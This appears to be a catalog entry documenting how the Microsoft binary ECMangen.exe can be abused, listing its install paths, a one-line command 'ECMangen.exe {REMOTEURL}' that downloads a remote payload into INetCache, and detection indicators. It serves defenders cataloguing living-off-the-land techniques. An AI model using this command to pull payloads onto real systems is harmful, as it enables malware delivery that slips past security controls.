← cd ..OtherMSBinaries

ECMangen.exe

Command-line tool for managing certificates in Microsoft Exchange Server.

Full path

C:\Program Files (x86)\Microsoft SDKs\Windows\<version>\Bin\ECMangen.exeC:\Program Files (x86)\Microsoft SDKs\Windows\<version>\Bin\x64\ECMangen.exeC:\Program Files\Microsoft\Exchange Server\<version>\Bin\ECMangen.exeC:\Program Files\Microsoft\Exchange Server\Bin\ECMangen.exeC:\Program Files\Microsoft\Exchange Server\ClientAccess\Bin\ECMangen.exeC:\ExchangeServer\Bin\ECMangen.exe

Commands

DownloadUser T1105
It will download a remote payload and place it in INetCache
```
ECMangen.exe {REMOTEURL}
```
Downloads payload from remote server
os: Windows
Download: INetCache

Detection

IOCURL on a ECMangen command line
IOCECMangen making unexpected network connections or DNS requests

acknowledgement: Avihay Eldad @AvihayEldad